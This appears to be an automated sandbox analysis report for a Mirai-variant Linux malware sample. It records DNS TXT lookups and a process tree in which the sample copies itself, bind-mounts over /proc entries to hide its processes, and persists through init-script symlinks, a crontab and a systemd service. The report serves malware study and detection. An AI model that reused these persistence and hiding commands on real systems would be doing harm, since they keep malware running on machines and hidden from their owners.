Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 27, 2024 14:23:05.425574064 CEST	8.8.8.8	192.168.2.20	0x0	No error (0)	30bc746e3c.dontargetme.nl			TXT (Text strings)	IN (0x0001)	false
May 27, 2024 14:23:07.120258093 CEST	8.8.4.4	192.168.2.20	0x0	No error (0)	30bc746e3c.dontargetme.nl			TXT (Text strings)	IN (0x0001)	false

System Behavior

Analysis Process: mirai_nomi PID: 4700, Parent PID: 4603

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	/tmp/mirai_nomi
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: mirai_nomi PID: 4707, Parent PID: 4700

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: cp PID: 4707, Parent PID: 4700

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/cp
Arguments:	cp -f /tmp/mirai_nomi /var/tmp/nginx_kel
File size:	151024 bytes
MD5 hash:	b9c85244be9733bc79eca588db7bf306

Chronological Activities

Analysis Process: mirai_nomi PID: 4708, Parent PID: 4700

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4708, Parent PID: 4700

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "mount -o bind /tmp/nginx_server /proc/4700/ > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4709, Parent PID: 4708

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: mount PID: 4709, Parent PID: 4708

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/mount
Arguments:	mount -o bind /tmp/nginx_server /proc/4700/
File size:	40152 bytes
MD5 hash:	6fb01f39948e8c15193d11e4d5bc40c1

Chronological Activities

Analysis Process: mirai_nomi PID: 4733, Parent PID: 4700

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: mirai_nomi PID: 4737, Parent PID: 4733

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: mirai_nomi PID: 4739, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4739, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4754, Parent PID: 4739

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4754, Parent PID: 4739

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rcS.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4768, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4768, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4782, Parent PID: 4768

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4782, Parent PID: 4768

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4812, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4812, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4820, Parent PID: 4812

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4820, Parent PID: 4812

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc0.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4832, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4832, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4835, Parent PID: 4832

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4835, Parent PID: 4832

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc1.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4844, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4844, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4853, Parent PID: 4844

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4853, Parent PID: 4844

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc2.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4858, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4858, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4861, Parent PID: 4858

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4861, Parent PID: 4858

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc3.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4876, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4876, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4883, Parent PID: 4876

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4883, Parent PID: 4876

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc4.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4891, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4891, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4897, Parent PID: 4891

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4897, Parent PID: 4891

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc5.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4914, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4914, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4918, Parent PID: 4914

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4918, Parent PID: 4914

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/init.d/dnsconfig /etc/rc6.d/S99dnsconfig
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4930, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4930, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4935, Parent PID: 4930

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4935, Parent PID: 4930

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4948, Parent PID: 4737

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4948, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4950, Parent PID: 4948

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4950, Parent PID: 4948

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc0.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4960, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4960, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4965, Parent PID: 4960

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4965, Parent PID: 4960

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc1.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4972, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4972, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4978, Parent PID: 4972

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 4978, Parent PID: 4972

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc2.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4996, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4996, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5000, Parent PID: 4996

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5000, Parent PID: 4996

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc3.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 5012, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5012, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5017, Parent PID: 5012

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5017, Parent PID: 5012

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc4.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 5056, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5056, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5084, Parent PID: 5056

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5084, Parent PID: 5056

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc5.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 5159, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 5159, Parent PID: 4737

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 5165, Parent PID: 5159

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: ln PID: 5165, Parent PID: 5159

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/ln
Arguments:	ln -sf /etc/rc.d/init.d/dnsconfigs /etc/rc6.d/S99dnsconfigs
File size:	56152 bytes
MD5 hash:	564b3b87d22820f751289dc95e02b2c6

Chronological Activities

Analysis Process: mirai_nomi PID: 4738, Parent PID: 4733

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4738, Parent PID: 4733

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "crontab /var/tmp/.recoverys"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4740, Parent PID: 4738

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: crontab PID: 4740, Parent PID: 4738

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/usr/bin/crontab
Arguments:	crontab /var/tmp/.recoverys
File size:	36080 bytes
MD5 hash:	ff68fd30f0037fd7e9c1fdf5a035f739

Chronological Activities

Analysis Process: mirai_nomi PID: 4805, Parent PID: 4733

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4805, Parent PID: 4733

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4810, Parent PID: 4805

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: systemctl PID: 4810, Parent PID: 4805

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	663952 bytes
MD5 hash:	cd5a9cbd1cd03a1c3ae4b6016674d7c8

Chronological Activities

Analysis Process: mirai_nomi PID: 4890, Parent PID: 4733

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4890, Parent PID: 4733

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl enable dnsconfigs.service > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4893, Parent PID: 4890

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: systemctl PID: 4893, Parent PID: 4890

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/systemctl
Arguments:	systemctl enable dnsconfigs.service
File size:	663952 bytes
MD5 hash:	cd5a9cbd1cd03a1c3ae4b6016674d7c8

Chronological Activities

Analysis Process: mirai_nomi PID: 4981, Parent PID: 4733

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4981, Parent PID: 4733

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "systemctl start dnsconfigs.service > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4983, Parent PID: 4981

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: systemctl PID: 4983, Parent PID: 4981

General

Start time (UTC):	12:23:05
Start date (UTC):	27/05/2024
Path:	/bin/systemctl
Arguments:	systemctl start dnsconfigs.service
File size:	663952 bytes
MD5 hash:	cd5a9cbd1cd03a1c3ae4b6016674d7c8

Chronological Activities

Analysis Process: mirai_nomi PID: 4734, Parent PID: 4700

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: mirai_nomi PID: 4735, Parent PID: 4734

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
MD5 hash:	af965bb7d4a5c448931838bddfbcc302

Chronological Activities

Analysis Process: sh PID: 4735, Parent PID: 4734

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	sh -c "mount -o bind /tmp/nginx_server /proc/4734/ > /dev/null 2>&1"
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: sh PID: 4741, Parent PID: 4735

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/sh
Arguments:	-
File size:	4 bytes
MD5 hash:	e02ea3c3450d44126c46d658fa9e654c

Chronological Activities

Analysis Process: mount PID: 4741, Parent PID: 4735

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/bin/mount
Arguments:	mount -o bind /tmp/nginx_server /proc/4734/
File size:	40152 bytes
MD5 hash:	6fb01f39948e8c15193d11e4d5bc40c1

Chronological Activities

Analysis Process: mirai_nomi PID: 4811, Parent PID: 4734

General

Start time (UTC):	12:23:04
Start date (UTC):	27/05/2024
Path:	/tmp/mirai_nomi
Arguments:	-
File size:	282772 bytes
